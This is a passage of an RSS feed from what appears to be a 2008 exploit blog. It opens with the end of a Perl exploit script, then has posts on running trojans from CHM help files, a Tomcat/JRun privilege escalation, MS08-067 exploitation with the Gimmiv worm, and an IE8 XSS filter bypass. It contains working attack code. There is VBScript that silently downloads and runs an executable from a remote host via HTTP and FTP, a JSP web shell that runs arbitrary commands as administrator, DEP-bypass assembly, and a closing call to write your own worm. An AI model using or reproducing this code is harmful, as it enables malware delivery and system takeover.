<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0.5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span> <span style="color: #0000ff;">$s</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Done!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/12/224/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Execute with .CHM file.</title>
		<link>http://www.abysssec.com/blog/2008/12/execute-with-chm-file/</link>
		<comments>http://www.abysssec.com/blog/2008/12/execute-with-chm-file/#comments</comments>
		<pubDate>Sun, 14 Dec 2008 18:14:42 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[advisory]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=188</guid>
		<description><![CDATA[Hi . In this post i wanna talk about Execute with CHM file or be honest How we can run Trojan, Backdoor In CHM file ? and we will have a few talk Bypass Script Protection In IE . A CHM help file has a &#8220;.chm&#8221; extension. It has a set of web pages written [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/ie-activex-security-control.jpg"><br />
</a></p>
<p>Hi .</p>
<p>In this post i wanna talk about Execute with CHM file <strong>or be honest </strong> How we can run Trojan, Backdoor In CHM file ?<strong> and we will have a few talk </strong>Bypass Script Protection In IE .</p>
<p>A CHM help file has a &#8220;.chm&#8221; extension. It has a set of web pages written in a subset of HTML and a hyperlinked table of contents. CHM format is optimized for reading, as files are heavily indexed. All files are compressed together with LZX compression. Most CHM browsers have the capability to display a table of contents outside of the body text of the help file.</p>
<p><strong>Engine Of CHM : </strong></p>
<p>CHM run HTML page Based On Internet Explorer Engine .</p>
<p>when you run &#8220;VBSCRIPT&#8221; or &#8220;Activex&#8221;  or &#8220;Object&#8221; with Internet Explorer 7 or higher , Script Protection (Activex Security Control) , Alert To  User &amp; Block Script .</p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/ie-activex-security-control.jpg"><img class="alignnone size-thumbnail wp-image-189" title="ie-activex-security-control" src="http://abysssec.com/blog/wp-content/uploads/2008/12/ie-activex-security-control-150x150.jpg" alt="ie-activex-security-control" width="150" height="150" /></a></p>
<p>when we are during running  a CHM file , we Can Run &amp; Execute &#8220;Object&#8221; + &#8220;Vb Script&#8221; + &#8220;JavaScript &#8220;<strong> Without Any Error </strong>, but If  our Script  inclusive  ActiveX control , We will See a Basic Alert .</p>
<p><strong>Execute IN CHM :</strong></p>
<p>we Need A Program To Create CHM file , I like to  USE WINCHM (free Edition) :</p>
<p><a href="http://www.softany.com/winchm/">http://www.softany.com/winchm/</a></p>
<p>For Edit VBSCRIPT  [With IDE] :</p>
<p><a href="http://www.vbsedit.com/">http://www.vbsedit.com/</a></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/vbseditor.jpg"><img class="alignnone size-thumbnail wp-image-193" title="vbseditor" src="http://abysssec.com/blog/wp-content/uploads/2008/12/vbseditor-150x150.jpg" alt="vbseditor" width="150" height="150" /></a></p>
<p><strong>Offline Mode (Intro) :</strong></p>
<p>With This Object ID :</p>
<p>{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}</p>
<p>Call &#8220;Windows Script Host Shell Object &#8221; with Object :</p>
<blockquote><p><strong>Example :</strong><br />
&lt;html&gt;<br />
&lt;object id=&#8221;wsh&#8221;<br />
classid=&#8221;clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B&#8221;&gt;&lt;/object&gt;<br />
&lt;script&gt;<br />
wsh.Run(&#8220;c:\windows\system32\calc.exe&#8221;);<br />
&lt;/script&gt;<br />
&lt;/html&gt;</p></blockquote>
<p><strong>Or  :</strong></p>
<blockquote><p>&lt;HTML&gt;<br />
&lt;SCRIPT&gt;<br />
function PROCJavascriptRunProgramParameter( programNameS,<br />
parameterS )<br />
{<br />
var shell = new ActiveXObject(&#8220;WScript.Shell&#8221;);<br />
var quoteS = String.fromCharCode( 34 );<br />
shell.run( quoteS + programNameS + quoteS + &#8221; &#8221; + parameterS, 1,<br />
false );<br />
self.close();<br />
}<br />
&lt;/SCRIPT&gt;<br />
&lt;BODY ONLOAD=&#8217;PROCJavascriptRunProgramParameter( &#8220;C:/windows/system32/calc.exe&#8221;, &#8220;names.nsf&#8221; );&#8217;&gt;<br />
&lt;/BODY&gt;</p></blockquote>
<p><strong><br />
</strong></p>
<p><strong>Online Mode (Backdoor &amp; Script Bypass Mode ) :</strong></p>
<p>we have three Step to do :</p>
<p>1- Download .EXE file (without User InterAction)<br />
2- Save File in Victim PC .<br />
3- RUN It .</p>
<p>for download with VBSCRIPT  I USED This Objects :</p>
<blockquote><p>-Microsoft.XMLHTTP<br />
-MSXML2.ServerXMLHTTP<br />
-WinHttp.WinHttpRequest.5.1<br />
-WinHttp.WinHttpRequest</p></blockquote>
<p><strong>Following This Example :</strong></p>
<blockquote><p>&lt;script language=vbscript&gt;<br />
Dim Http<br />
Set Http = CreateObject(&#8220;WinHttp.WinHttpRequest.5.1&#8243;)<br />
URL = &#8220;http://abysssec.com&#8221;<br />
&#8216;Send request To URL<br />
Http.Open &#8220;GET&#8221;, URL, False<br />
Http.Send<br />
&#8216;Get response data As a string<br />
BinaryGetURL = Http.ResponseBody<br />
&lt;/script&gt;</p></blockquote>
<p><span style="color: #ff0000;"><strong>SAVE FILE  [ Achilles heel  IN CHM ] :</strong></span></p>
<p><span style="color: #ff0000;">Save File &amp; Execute </span><span style="color: #ff0000;">Objects </span><span style="color: #ff0000;">, Run Activex In IE &amp; CHM . </span></p>
<p><span style="color: #ff0000;">IF You Can Find a way to bypass <strong>ActiveX Alert</strong> You can <strong>Find lot&#8217;s of BUG</strong>&#8216;s .</span></p>
<p><span style="color: #ff0000;">Example OF Bug :</span></p>
<p><span style="color: #ff0000;"><a href="http://www.milw0rm.com/exploits/719">http://www.milw0rm.com/exploits/719</a> [2004]<br />
</span></p>
<p><span style="color: #ff0000;">Activex Alert :</span></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/alert.jpg"><img class="alignnone size-thumbnail wp-image-194" title="alert" src="http://abysssec.com/blog/wp-content/uploads/2008/12/alert-150x150.jpg" alt="alert" width="150" height="150" /></a></p>
<p>Note : we have some bypass trick maybe we disclosure a few of them here soon .</p>
<p>But until that Time You can use This method for Download [FTP Client ] :</p>
<blockquote><p>Option Explicit<br />
Dim objFSO, objMyFile, objShell, strFTPScriptFileName<br />
Dim strLocalFolderName, strFTPServerName, strLoginID, strFTPServerDir<br />
Dim strPassword, strFTPServerFolder, objPassword, objFolder,FolderContent, fso, CleanPath, file, Flag</p>
<p>&#8216;Change this, foldername = local dir (where files must be ftp&#8217;d TO)<br />
strLocalFolderName = &#8220;c:\&#8221;</p>
<p>&#8216; Server where you are ftp&#8217;ing TO<br />
strFTPServerName = &#8220;abysssec.com&#8221;</p>
<p>&#8216; Username you use to ftp<br />
strLoginID = &#8220;test&#8221;</p>
<p>&#8216; Initialize variables<br />
strPassword = &#8220;test&#8221;<br />
strFTPServerDir = &#8220;/www&#8221;</p>
<p>&#8216; Change this to the folder where the files are on the source server<br />
strFTPServerFolder = &#8220;/www&#8221;</p>
<p>&#8216;The follow lines of code generate the FTP script file on the fly,<br />
&#8216;because the directory name changes every time its run</p>
<p>strFTPScriptFileName = strLocalFolderName &amp; &#8220;\FTPScript.txt&#8221;</p>
<p>Set objFSO = CreateObject(&#8220;Scripting.FileSystemObject&#8221;)</p>
<p>If (objFSO.FileExists(strFTPScriptFileName)) Then<br />
objFSO.DeleteFile(strFTPScriptFileName)<br />
End If</p>
<p>Set objMyFile = objFSO.CreateTextFile(strFTPScriptFileName, True)<br />
&#8216;objMyFile.WriteLine (&#8220;ftp -s open &#8221; &amp; strFTPServerName)<br />
objMyFile.WriteLine (&#8220;open &#8221; &amp; strFTPServerName)<br />
objMyFile.WriteLine (strLoginID)<br />
objMyFile.WriteLine (strPassword)</p>
<p>&#8216;strFTPServerDir = InputBox(&#8220;Enter directory from which to ftp:&#8221;)</p>
<p>&#8216;objMyFile.WriteLine (&#8220;cd &#8221; &amp; strFTPServerFolder &amp; strFTPServerDir)<br />
objMyFile.WriteLine (&#8220;cd &#8221; &amp; strFTPServerFolder)<br />
&#8216;objMyFile.WriteLine (&#8220;bin&#8221;)<br />
objMyFile.WriteLine (&#8220;lcd &#8221; &amp; strLocalFolderName)<br />
objMyFile.WriteLine (&#8220;get EF.exe&#8221;)<br />
objMyFile.WriteLine (&#8220;bye&#8221;)<br />
objMyFile.Close</p>
<p>Set objFSO = Nothing<br />
Set objMyFile = Nothing</p>
<p>&#8216;The following code executes the FTP script. It creates a Shell<br />
&#8216;object and run FTP program on top of it.<br />
Set objShell = WScript.CreateObject( &#8220;WScript.Shell&#8221; )<br />
objShell.Run (&#8220;ftp -s:&#8221; &amp; chr(34) &amp; strFTPScriptFileName &amp; chr(34))<br />
&#8216;objShell.Run (strFTPScriptFileName &amp; chr(34))<br />
Set objShell = Nothing</p>
<p>Set fso=CreateObject(&#8220;Scripting.FileSystemObject&#8221;)<br />
CleanPath=&#8221;c:\&#8221;</p>
<p>For Each file In fso.GetFolder(strLocalFolderName).Files<br />
Flag = StrComp(file, strFTPScriptFileName ,1)<br />
if Flag = 0 then<br />
file.delete<br />
end if<br />
Next</p></blockquote>
<p><span style="color: #ff0000;">For Execute You can use it:</span></p>
<blockquote><p>&lt;script language=vbscript&gt;<br />
set  shell = CreateObject(&#8220;WScript.Shell&#8221;)<br />
shell.run( &#8220;cmd.exe&#8221; )<br />
&lt;/script&gt;</p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Bypass Script Protection in CHM :</p>
<p>When You Run This Exploit [ Last Of IE 7 Exploit In this Time ] :</p>
<p><a href="http://www.milw0rm.com/exploits/7410">http://www.milw0rm.com/exploits/7410</a></p>
<p>This Exploit Detect By IE Script Security Protection . You Can Run This Exploit in CHM &amp; Don&#8217;t Worry For Execution through  &#8220;<strong>Heap Spray</strong>&#8221; Method  .</p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/final.jpg"><img class="alignnone size-thumbnail wp-image-195" title="final" src="http://abysssec.com/blog/wp-content/uploads/2008/12/final-150x150.jpg" alt="final" width="150" height="150" /></a></p>
<p>Test IT :</p>
<p><a href="http://abysssec.com/files/Execute-with-IE.chm">http://abysssec.com/files/Execute-with-IE.chm</a></p>
<p>OK , deduction :</p>
<p>1 &#8211; We can put Backdoor &amp; Trojan in CHM files [Fake Book ]</p>
<p>2- We Can Run IE Exploit in CHM files .</p>
<p>3- We Can Execute &amp; Download &amp; Upload with chm files .</p>
<p>4- We Can Run All COM &amp; DLL Objeects with it .</p>
<p>In future :</p>
<p>1- talk about Heap Spray Method  .</p>
<p>2- Talk About Fuzzing OBJECT .</p>
<p>3- Talk About Bypass Activex Question in .CHM [ If i found It !!!!]</p>
<p><span style="color: #ff0000;"><strong><br />
</strong></span></p>
<p><span style="color: #ff0000;"><strong>Question ?</strong></span></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>abysssec comment problem solved fill free to write your comment and mail your request and questions to us .</p>
<p>DAphne</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/12/execute-with-chm-file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tomcat &amp; Jrun Privilege Escalation (Windows)</title>
		<link>http://www.abysssec.com/blog/2008/11/tomcat-jrun-privilege-escalation-windows/</link>
		<comments>http://www.abysssec.com/blog/2008/11/tomcat-jrun-privilege-escalation-windows/#comments</comments>
		<pubDate>Thu, 27 Nov 2008 21:07:10 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=112</guid>
		<description><![CDATA[In the name of God. Hello my friend &#38; all readers  , Tomcat [jsp]  &#38;  Jrun  [ColdFusion] &#38; some HTTP server , when called &#8220;JSP&#8221; function in windows , Attackers can  Privilege Escalation . This bug Emanate from differ Kernel in windows and Linux . Example Vulnerable Software : &#8220;PLESK&#8221; or many of web management [...]]]></description>
			<content:encoded><![CDATA[<p>In the name of God.</p>
<p>Hello my friend &amp; all readers  ,</p>
<p>Tomcat [jsp]  &amp;  Jrun  [ColdFusion] &amp; some HTTP server , when called &#8220;JSP&#8221; function in windows , Attackers can  Privilege Escalation .</p>
<p><strong>This bug Emanate from differ  Kernel in windows and Linux .</strong></p>
<p>Example Vulnerable Software : &#8220;PLESK&#8221; or many of web management systems  Used them , you can find them .</p>
<p>TOMCAT : [<a title="http://tomcat.apache.org/" href="http://tomcat.apache.org/">http://tomcat.apache.org/</a>]</p>
<p>Jrun : [<a title="http://www.adobe.com/products/jrun/" href="http://www.adobe.com/products/jrun/">http://www.adobe.com/products/jrun/</a>]</p>
<p>Diagram of Run  web Application In windows [ Attention in user mode &amp; kernel Mode ] :</p>
<p><img class="alignnone" title="windows kernel" src="http://i36.tinypic.com/opmw7l.gif" alt="" width="472" height="386" /></p>
<p>.</p>
<p>.</p>
<p>Diagram of Run  web Application In Linux [ Attention in user mode &amp; kernel Mode ] :</p>
<p><img class="alignnone" title="kernel linux diagram" src="http://i36.tinypic.com/igw1sn.png" alt="" width="381" height="343" /></p>
<p>.</p>
<p>.</p>
<p>Please Attention to diragrams , I don&#8217;t mean describe win &amp; lin kernel , But you see , in windows services security &amp; Application Security  are in user mode &amp; you are not face to face with kernel  , But in  linux we have a different Calling Services &amp; user access .</p>
<p>when &#8220;JSP&#8221; web application Run in Linux [ with tomcat  or other Server ] , You can use Privilege of owner [runner] user . but , when you run This in  windows [TOMCAT or Jrun web server ]   ,  &#8220;JSP&#8221; Application take jrun or tomcat Access .</p>
<p>They have Administrator Access . Therefor You have Admin level process.</p>
<p>use [<strong>getRuntime().exec</strong>] Function in [JSP] you can run Process .</p>
<p>This is a test  . [<a title="http://www.rgagnon.com/javadetails/java-0014.html" href="http://www.rgagnon.com/javadetails/java-0014.html">Detail</a>]</p>
<pre><em>import java.io.IOException;Runtime.getRuntime().exec("\"c:/program files/windows/notepad.exe\"");
</em><strong></strong></pre>
<pre><strong>here is one of published PoC For this vulnerabilities</strong></pre>
<p><strong><span style="color: #800000;">we can run it , [abysssec.jsp] -&gt;  :</span></strong><br />
<code><br />
< %@ page import="java.util.*,java.io.*"%><br />
< %<br />
%></p>
<p>< %--<br />
abysssec inc public material</p>
<p>just upload this file with abysssec.jsp and execute your command<br />
your command will run as administrator . you can download sam file<br />
add user or do anything you want .<br />
note : please be gentle and don't obstructionism .<br />
vulnerability discovered by : abysssec.com</p>
<p> --%><br />
<html><body bgcolor=#0000000 and text=#DO0000><br />
<title> Abysssec inc (abysssec.com) JSP vulnerability<br />
<center><br />
<h3>JSP Privilege Escalation Vulnerability PoC</h3>
<p></center></p>
<form METHOD="GET" NAME="myform" ACTION="">
<input TYPE="text" NAME="cmd"/>
<input TYPE="submit" VALUE="Execute !"/>
</form>
<pre>
< %
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
<p></title></body></html></p>
<p># milw0rm.com [2008-11-28]<br />
</code></p>
<pre></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/11/tomcat-jrun-privilege-escalation-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>another talk about MS08-067</title>
		<link>http://www.abysssec.com/blog/2008/10/another-talk-about-ms08-067/</link>
		<comments>http://www.abysssec.com/blog/2008/10/another-talk-about-ms08-067/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 16:10:46 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>

		<guid isPermaLink="false">http://secure-developer.com/blog/?p=91</guid>
		<description><![CDATA[hi again i,m sure you know about this ciritical / wormable  vulnerability  . immediate after releasing vulnerability Win32.Gimmiv worm released too . this worm use this vulnerability and will run after first execute as a windows service . but i,m sure this worm is not last worm based on this vulnerability . this vulnerability specifically [...]]]></description>
			<content:encoded><![CDATA[<p>hi again</p>
<p>i,m sure you know about this ciritical / wormable  vulnerability  . immediate after releasing vulnerability Win32.Gimmiv worm released too . this worm use this vulnerability and will run after first execute as a windows service . but i,m sure this worm is not last worm based on this vulnerability .</p>
<p>this vulnerability specifically exists on Server Service Remote Procedure Call (RPC) handling, where an attacker could perform a stacked-based buffer overflow by sending a request to a vulnerable function, “<em>NetPathCanonicalize()</em>”. In this way an attacker may escalate privileges, using the named pipe &#8220;<em>\\pipe\srvsvc</em>&#8221; to access other machines over the network via the pipe&#8217;s file sharing service.</p>
<p>exploiting this vulnerability On win 2k and XP SP1 Sp2 and Sp3  is really fun just rpc requset to based on 4b324fc8-1670-01d3-1278-5a47bf6ee188 to getting reliable eip and code executing . in windows xp sp1 and 2k and of course windows xp sp2 and sp3 with no dep you need just a jmp or call esi or edi register for code executing .</p>
<p>and about windows xp sp2 and sp3 with dep :</p>
<p>you can use address of NtSetInformationProcess call  in ACGENRAL.DLL for disable DEP  of course you need Scratch ( read/write static memory location) and you can find that in ACCGENRAL.dll too .</p>
<p>hd moore independent security researcher used this method for executing shellcode . in windows xp sp3 you can use this method  (using pre-process disable in ACCGENRAL.dll ) (of course with differing address of calling NtSetInformationProcess()) .</p>
<p>from hdm :</p>
<p>The actual function we use to disable NX looks like this:</p>
<p>push    4<br />
lea     eax, [ebp+arg_0]<br />
push    eax<br />
push    22h<br />
push    0FFFFFFFFh<br />
mov     [ebp+arg_0], 2<br />
call    ds:__imp__NtSetInformationProcess@16<br />
i wrote my own reliable exploit and maybe in future i public that for all</p>
<p>and about GIMMIV  worm :</p>
<p>full discussion :</p>
<p>http://community.ca.com/blogs/securityadvisor/archive/2008/10/27/ms08-067-wormable-vulnerability-patched.aspx</p>
<p>The executable &#8220;<em>WinbaseInst.exe</em>&#8221; is the worm component you can see  worm service after executing binary following this picture :</p>
<p style="text-align: center;"><img class="aligncenter" title="GIMMA Service" src="http://i38.tinypic.com/8ydcv5.gif" alt="" width="384" height="217" /></p>
<p>you can be sure this worm use this vulnerability from founded UUID in <em>basesvc.dll </em>in <em>%SystemRoot%\system32\wbem </em></p>
<p style="text-align: center;"><img class="aligncenter" title="UUID " src="http://i38.tinypic.com/2ezr97s.jpg" alt="" width="402" height="182" /></p>
<p>after worm scanned and found vulnerable system using <em>4b324fc8-1670-01d3-1278-5a47bf6ee188 </em>worm run download and execute shellcode following this picture :</p>
<p style="text-align: center;"><img class="aligncenter" title="Shellcode" src="http://i35.tinypic.com/2eewzeb.jpg" alt="" width="402" height="357" /></p>
<p>this worm use random number and random server for downloading files . i,m sure this worm  have different compiled version (for leaked servers and AV&#8217;s ) . maybe in another post i discuss about this worm completely.</p>
<p>you can read full post about reversing ms08-067 patch here :</p>
<p>http://www.dontstuffbeansupyournose.com</p>
<p>next post will be patch analysis part 1</p>
<p>for now test your skills for write your own worm with this vulnerability .</p>
<p>best regards and have nice hacking</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/10/another-talk-about-ms08-067/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>internet explorer 8 XSS filter bypassing</title>
		<link>http://www.abysssec.com/blog/2008/10/internet-explorer-8-xss-filter-bypassing/</link>
		<comments>http://www.abysssec.com/blog/2008/10/internet-explorer-8-xss-filter-bypassing/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 18:14:35 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[IE 8]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[XSS Filter]]></category>

		<guid isPermaLink="false">http://secure-developer.com/blog/?p=11</guid>
		<description><![CDATA[IE8 is a new Microsoft browser, the integrity of its CSS2.1 support, HTML5 support, built-in development tools and so on. IE8 in the browser security on a very big improvement, not a built-in unloading the Xss Filter, non-durable type of cross-site scripting attacks do a relatively good protection. However, 80 sec in the test IE8 [...]]]></description>
			<content:encoded><![CDATA[<p>IE8 is a new Microsoft browser, the integrity of its CSS2.1 support, HTML5 support,<br />
built-in development tools and so on. IE8 in the browser security on a very big improvement, not a<br />
built-in unloading the Xss Filter, non-durable type of cross-site scripting attacks do a relatively good<br />
protection. However, 80 sec in the test IE8 found, IE8 the Xss Filter there are Vuln, resulting<br />
in some version of the eastern countries simply can not stop the URL Xss for example,<br />
in the Persian version, use some simple data can Bypass Filter out the strategy IE8.</p>
<p>Vulnerability analysis: As IE8 Xss Filter in the filter to take the coding system is built-in encoding,<br />
in the Persian version will be gb2312, in some other Eastern countries will adopt the appropriate wide-byte coding.<br />
Submitted a non-coding sequences such as% c1 &lt;will be IE8 as a normal character for the East Filter keyword matching,<br />
and in the pages displayed, because of their pages will be designated a UTF-8 encoding for example, in the analytical<br />
time % c1 &lt;is not a valid UTF8 encoding, this will be treated as two characters,resulting in a &lt;bypass the check, this inconsistency has led to the formation of Vuln.<br />
Vuln that: assume that there are web script:</p>
<p><code><br />
&lt;?php<br />
header("Content-Type: text/html; charset=utf-8");<br />
echo $_GET[c];<br />
?&gt;<br />
</code></p>
<p>In the east of the country IE8 system, if the conduct of conventional XSS such as:<br />
<code><br />
.php?c=&lt;script&gt;alert()&lt;/script&gt;<br />
</code><br />
IE8 security strategy will be to stop, but if the<br />
The code can bypass the ie8 xss filter and implementation.</p>
<p>vulnerability state: this vulnerability reported to microsoft (by chinese hacker ) and is awaiting a response.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/10/internet-explorer-8-xss-filter-bypassing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
